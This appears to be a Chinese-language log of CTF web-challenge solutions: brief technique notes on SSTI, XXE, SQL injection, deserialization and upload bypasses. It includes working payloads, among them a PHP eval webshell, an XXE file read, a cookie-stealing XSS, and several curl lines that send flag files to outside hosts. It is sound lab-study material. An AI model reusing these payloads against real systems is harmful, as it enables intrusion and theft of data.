Amadeus搞个刷题记录(其实是懒得写wp了)

BJDCTF2020

EasySearch

  • index.php.swp源码泄露
  • 爆破md5
  • ssi注入

Mark loves cat

  • 变量覆盖,exit的时候输出flag

The mystery of ip

  • smarty ssti,{{system("cat /flag")}}命令执行
  • twig ssti 命令执行{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

ezPHP

  • $_SERVER['QUERY_STRING']url编码绕过
  • %0a绕过正则
  • 利用$_REQUEST解析顺序
  • data伪协议
  • 数组绕过sha1比较
  • create_function()代码注入
  • get_defined_vars()获取所有变量值
  • 字符串异或和取反

ZJCTF,不过如此

  • preg_replace()代码执行

BJDCTF 2nd

fake google

  • flask的ssti模板注入

old-hack

  • thinkphp rce直接打

duangShell

  • curl无回显命令执行

简单注入

  • '情况下用\注入
  • select无堆叠注入,但能拿到当前用的表的数据

xss之光

  • 这题….直接反序列化一个字符串<script>window.location.href='xxxx'+document.cookie</script>就行
  • 预期解是反序列化Exception类,利用__toString()造成xss

文件探测

  • php srpintf格式化字符串漏洞,可以用%将后面的%d转义
  • AES加密,密钥已知,明文是一个放在session中的随机字符串,并且难以破解。但可以不带PHPSESSID访问使明文为空,即可算出对应密文

GXYCTF2019

BabyUpload

  • 上传.htaccess改变文件解析
    1
    SetHandler application/x-httpd-php
  • 老版php标签
    1
    <script language='php'>eval($_REQUEST['LionTree'])</script>
  • 这题搞了个2048字节的限制。。结果正常的图片一张都传不上去。。无语

StrongestMind

  • 写个脚本算术即可

强网杯2019

upload

  • GIF89a绕过getimagesize
  • 文件上传使用了copy而不是move_uploaded_file,利用反序列化去将已上传的webshell改为.php后缀
  • 反序列化exp记得写命名空间。。忘了这个折腾半天

CISCN2019

华北赛区 Day1 Web5 CyberPunk

  • 二次注入

华东南赛区 Web11

  • smarty ssti,{{system("cat /flag")}}命令执行

华东南赛区 Double Secret

  • flask ssti
  • flask debug模式安全

华东北赛区 web2

  • xss 中<svg>标签的使用,使后面的特殊符号能够用html实体替代

Web4

  • urllib.urlopen任意文件读取,^file.*禁了file协议,有三种绕过
    • 空格+file://
    • CVE-2019-9948,local_file://
    • 直接app.py读到源码
  • 伪随机数
    1
    2
    random.seed(uuid.getnode())
    app.config['SECRET_KEY'] = str(random.random()*233)
    通过读取/sys/class/net/eth0/address得到mac地址,能够算出uuid.getnode()的值,爆破可以得到SECRET_KEY
  • 客户端session安全

FBCTF2019

RCEService

  • PCRE回溯次数绕过
  • 非预期解,利用换行符绕过
  • 黑盒考这个是真想不到。。

BSidesCF 2019

Futurella

  • 右键查看源代码..

Kookie

  • 登陆后改cookie

Pick Tac Toe

  • 直接发包可以覆盖对手走过的地方
  • 正常下还真是下不过电脑..

Had a bad day

  • 文件包含 不存在的/../flag

SVGMagic

  • 将xxe payload伪装成svg文件
    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE note [
    <!ENTITY file SYSTEM "file:///etc/passwd" >
    ]>
    <svg height="100" width="1000">
    <text x="10" y="20">&file;</text>
    </svg>
  • flag在/proc/self/cwd/flag.txt…

HarekazeCTF2019

encode_and_encode

  • 利用json_decode会自动将utf8编码解码

RCTF2015

EasySQL

  • 找回密码的地方二次注入
  • 这里用了很少见到的"而不是'
  • 测试的时候可以直接用'"\这样的组合,一次确定是否存在注入
  • 比较坑的是给了个没用的phpinfo,还以为要sql注入写文件覆盖opcache

SWPU2019

Web4

  • 无回显情况下的堆叠注入
  • 可以用;检测堆叠注入
  • prepare statement 绕过关键词过滤
  • 变量覆盖导致的文件读取

Web3

  • flask前端session伪造
  • 上传软链接读取敏感文件
  • linux下利用&多语句命令执行
  • /proc/self/cwd/读取当前进程路径下的文件
  • /proc/self/environ获取当前进程环境变量,得到flask绝对路径
  • curl 外带@读文件
  • awk声明无法使用的字符
    1
    $(III=`awk 'BEGIN{printf \"%c\", 47}'`&&curl xxx.xxx.xxx.xxx:9999 -T `echo ${III}ctf${III}hgfjakshgfuasguiasguiaaui${III}myflask${III}flag${III}flag.jpg`).zip

Web6

  • select with rollup 注入
  • session原生类反序列化,soap ssrf

SWPU2018

SimplePHP

  • phar反序列化
  • phar反序列化记得用绝对路径。。又被这个坑了

EIS 2019

EzPOP

  • php伪协议去除死亡exit

GYCTF2020

Node Game

  • nodejs http.get设计缺陷,通过Request Splitting造成ssrf
  • pug模板命令执行
    1
    - global.process.mainModule.require('child_process').execSync('curl http://174.1.29.57/ -X POST -d `cat /flag.txt`')

Ezsqli

  • 在无information_schema的情况下利用sys库获取表名
  • union select的情况下无列名注入
    1
    1-((select 'a') = (select substr(group_concat(table_name),1,1) from sys.schema_table_statistics_with_buffer where table_schema=database()))
  • smile师傅的出题笔记还有一个考点是mysql在比较时不区分大小写,需要用CONCAT("A", CAST(0 AS JSON))强制进行字节对字节的比较。不过buu上的环境不知道为啥用不了CAST,而且flag里也没有大写字母

安洵杯 2019

不是文件上传

  • insert注入反序列化序列
  • 文件名中不能有双引号,需要用16进制插入数据库中

网鼎杯

Unfinish

  • register.php直接可以盲注,过滤了,information
    • ,可以用case when绕过
    • 尝试用innodb的表和sys中的表都没成功,看网上wp都是盲猜存在flag表做的…
  • 还有一种做法是注册的时候将想要的内容放入username中,登录查看
    • 可以利用两次hex后是纯数字的特性进行二次注入
      1
      0'%2B(select hex(hex(database())))%2B'0

b01lersCTF 2020

life_on_mars

  • 长知识了..第一次见在from位置的注入,黑盒下一脸懵逼..
    1
    cur.execute("SELECT name, description FROM " + search)

Zer0ptsCTF 2020

Can you guess it?

  • $_SERVER['PHP_SELF']可控,index.php/config.php会访问index.php,但$_SERVER['PHP_SELF']会是index.php/config.php
  • basename()函数缺陷,会把文件名开头的非ASCII值丢掉

notepad

  • flask ssti读取secret_key
  • 通过session进行pickle反序列化
  • 无法弹shell,使用sleep无回显命令执行

urlapp

  • redis CRLF注入
  • redis BITOP指令,对key做位运算,并把结果保存到新key里
  • redis setbit指令,改变key的某一位

MusicBlog

  • strip_tags()缺陷,允许在标签名中存在/
  • 注入<a/udio id="like" href=http://xxxx>,会被解析成<a>标签,绕过csp
  • 不知道为啥在buu上nc收不到数据,需要用requestbin

phpNantokaAdmin

  • sqlite注入
  • sqlite的sqlite_master中保存了所有表名以及创建表时的create语句
  • 在创建表时可以用as来复制另一个表中的数据
  • as "..."将原有的干扰字符闭合到查询的别名里
  • sqlite []替代双引号

GWCTF2019

你的名字

  • flask的SSTI,但是返回的是php的报错…wp上说能用http头判断但buu上的环境只有一个server:openrestry,根本看不出来…
  • 过滤了 {{ ,并且会把一些关键字替换为空,使用 {% 加双写绕过 {% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecache.oconfigs.popconfigen('curl "http://xss.buuoj.cn/index.php?do=api%26id=uHi9SZ%26location=`cat /flag_1s_Hera`"') %}1{% endiconfigf %}

V&N2020 公开赛

EasySpringMVC

  • java 反序列化时会调用类的readObject方法

VolgaCTF 2020 Qualifier

Netcorp

  • 幽灵猫读classes目录下的class文件,得到源码,发现存在文件上传
  • 上传jsp马后幽灵猫包含

NCTF2019

SQLi

  • regexp注入

watevrCTF-2019

  • 改cookie薅羊毛

Pickle Store

  • pickle 反序列化